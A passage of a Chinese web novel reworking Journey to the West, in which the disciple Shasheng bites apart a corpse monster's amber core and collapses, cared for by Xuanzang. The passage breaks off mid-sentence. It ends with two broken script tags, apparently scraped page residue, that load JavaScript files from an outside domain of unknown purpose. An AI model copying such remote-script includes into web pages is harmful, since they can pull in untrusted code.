然后,她找到了。
在万千条必死的攻击轨迹中,那唯一的一条,转瞬即逝的,逻辑上的盲区。
尸怪似乎也感觉到了威胁,所有头颅都转向了她,发出了暴怒的尖啸。
无数白骨藤蔓铺天盖地而来,要将这个渺小的虫子撕成碎片。
杀生动了。
她双手猛地在地上一撑。
整个人,如同一片无视了重力的黑色折纸,以一种完全违背物理常识的姿态,弹射了出去。
她在空中划出一道诡异的直角折线,险之又险地避开了第一波藤蔓攒刺。
紧接着,又是一个不可思议的锐角转折,贴着第二波藤蔓的缝隙穿过。
她的每一次移动,都像是幽灵,都精准地踩在死亡的边缘。
她冲破了尸怪的死亡防线。
她贴在了尸怪的胸口。
面对那块闪烁着无数怨魂的因果琥珀,她没有使用任何法术,也没有任何华丽的招式。
她张开了嘴。
露出了雪白的牙齿。
以最原始,最纯粹,最野蛮的方式,狠狠一口咬了下去。
“咔嚓——!”
清脆的声音,在整个废品站回荡。
就像一块放了千万年的古老玻璃,被铁锤砸碎。
那块坚不可摧的因果琥珀,被咬碎了。
“嗷——!!!!!”
尸怪所有的头颅同时发出了凄厉到极点的惨叫,那声音里充满了难以置信与无尽的痛苦。
它身上缝合的筋膜瞬间断裂。
金色的佛骨,腐烂的血肉,生锈的甲片……
构成它身体的一切,都失去了粘合。
轰然一声。
如同积木搭建的高塔,彻底坍塌,散落成一地真正的垃圾。
玄奘庞大的身躯从半空中跌落,重重砸在地上,他顾不上擦去嘴角的魔血,第一时间冲到杀生身边。
杀生已经昏了过去,脸色惨白如纸,七窍都在流血,后颈的电缆也已烧焦。
玄奘小心翼翼地将她抱起,这位一向冷酷的魔佛,看着怀中这个遍体鳞伤的徒弟,眼中竟罕见地闪过一丝水光,声音沙哑。
“好徒儿。”
孙刑者身上的绿冰寸寸碎裂,他恢复了自由,但看着这一幕,也只是沉默地杵着棍子,说不出话来。
尸怪死了。
但它的死,似乎成
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">